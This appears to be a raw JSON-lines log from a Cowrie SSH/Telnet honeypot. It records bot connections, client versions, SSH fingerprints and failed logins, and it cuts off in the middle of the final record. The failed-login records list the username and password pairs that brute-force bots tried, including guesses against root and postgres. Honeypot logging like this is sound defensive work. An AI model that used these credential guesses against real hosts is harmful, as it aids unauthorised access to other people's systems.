{"eventid":"cowrie.login.failed","username":"test","password":"test12!@","message":"login attempt [test/test12!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:15.409470Z","src_ip":"148.216.28.11","session":"f8043a36b91f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.033308982849121,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:15.711947Z","src_ip":"185.26.126.47","session":"0e1176cf62a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:16.479309Z","src_ip":"148.216.28.11","session":"f8043a36b91f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"44.7","message":"Connection lost after 44.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:16.532633Z","src_ip":"122.168.114.167","session":"ff369317aaa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":42426,"dst_ip":"159.203.135.109","dst_port":22,"session":"68307d58105b","protocol":"ssh","message":"New connection: 69.6.221.248:42426 (159.203.135.109:22) [session: 68307d58105b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:17.058010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:17.063218Z","src_ip":"69.6.221.248","session":"68307d58105b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:17.177176Z","src_ip":"69.6.221.248","session":"68307d58105b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin@123","message":"login attempt [admin1/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:17.663962Z","src_ip":"69.6.221.248","session":"68307d58105b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39318,"dst_ip":"159.203.135.109","dst_port":22,"session":"256d1c490f36","protocol":"ssh","message":"New connection: 122.168.114.167:39318 (159.203.135.109:22) [session: 256d1c490f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:18.468600Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:18.779623Z","src_ip":"69.6.221.248","session":"68307d58105b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:23.812201Z","src_ip":"122.168.114.167","session":"256d1c490f36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:23.817222Z","src_ip":"122.168.114.167","session":"256d1c490f36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":39756,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d8b6b607337","protocol":"telnet","message":"New connection: 185.26.126.47:39756 (159.203.135.109:23) [session: 2d8b6b607337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:31.219312Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:45.277255Z","src_ip":"122.168.114.167","session":"256d1c490f36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50588,"dst_ip":"10.17.0.5","dst_port":22,"session":"4621feca9eae","protocol":"ssh","message":"New connection: 2.57.122.238:50588 (10.17.0.5:22) [session: 4621feca9eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:46.174938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:46.179098Z","src_ip":"2.57.122.238","session":"4621feca9eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:46.282715Z","src_ip":"2.57.122.238","session":"4621feca9eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:46.593343Z","src_ip":"2.57.122.238","session":"4621feca9eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:47.699008Z","src_ip":"2.57.122.238","session":"4621feca9eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45502,"dst_ip":"159.203.135.109","dst_port":22,"session":"81755040ddaf","protocol":"ssh","message":"New connection: 159.203.92.129:45502 (159.203.135.109:22) [session: 81755040ddaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:59.423702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:59.431979Z","src_ip":"159.203.92.129","session":"81755040ddaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:59.435658Z","src_ip":"159.203.92.129","session":"81755040ddaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app-admin","password":"app-admin123","message":"login attempt [app-admin/app-admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:59.456175Z","src_ip":"159.203.92.129","session":"81755040ddaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:00.462850Z","src_ip":"159.203.92.129","session":"81755040ddaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":54300,"dst_ip":"159.203.135.109","dst_port":22,"session":"e105e419518c","protocol":"ssh","message":"New connection: 148.216.28.11:54300 (159.203.135.109:22) [session: e105e419518c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:00.839716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:00.844571Z","src_ip":"148.216.28.11","session":"e105e419518c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:00.913052Z","src_ip":"148.216.28.11","session":"e105e419518c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1","message":"login attempt [root/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:01.217216Z","src_ip":"148.216.28.11","session":"e105e419518c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":38380,"dst_ip":"159.203.135.109","dst_port":22,"session":"957c474f8b54","protocol":"ssh","message":"New connection: 2.203.183.35:38380 (159.203.135.109:22) [session: 957c474f8b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:01.349830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:01.354770Z","src_ip":"2.203.183.35","session":"957c474f8b54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:01.926927Z","src_ip":"2.203.183.35","session":"957c474f8b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:02.290215Z","src_ip":"148.216.28.11","session":"e105e419518c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssword","message":"login attempt [postgres/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:02.411304Z","src_ip":"2.203.183.35","session":"957c474f8b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:03.523468Z","src_ip":"2.203.183.35","session":"957c474f8b54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41726,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c9244d98479","protocol":"ssh","message":"New connection: 122.168.114.167:41726 (159.203.135.109:22) [session: 9c9244d98479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:04.953730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:06.306608Z","src_ip":"122.168.114.167","session":"9c9244d98479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:06.581925Z","src_ip":"122.168.114.167","session":"9c9244d98479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":39102,"dst_ip":"159.203.135.109","dst_port":23,"session":"65a1d1288c96","protocol":"telnet","message":"New connection: 185.26.126.47:39102 (159.203.135.109:23) [session: 65a1d1288c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:09.665327Z"}
{"eventid":"cowrie.session.closed","duration":"51.7","message":"Connection lost after 51.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:10.220686Z","src_ip":"122.168.114.167","session":"256d1c490f36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.363871335983276,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:13.583073Z","src_ip":"185.26.126.47","session":"2d8b6b607337","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.062728643417358,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:19.727925Z","src_ip":"185.26.126.47","session":"65a1d1288c96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":46600,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c766700ff51","protocol":"ssh","message":"New connection: 69.6.221.248:46600 (159.203.135.109:22) [session: 4c766700ff51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:19.779917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:35:19.784639Z","src_ip":"69.6.221.248","session":"4c766700ff51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 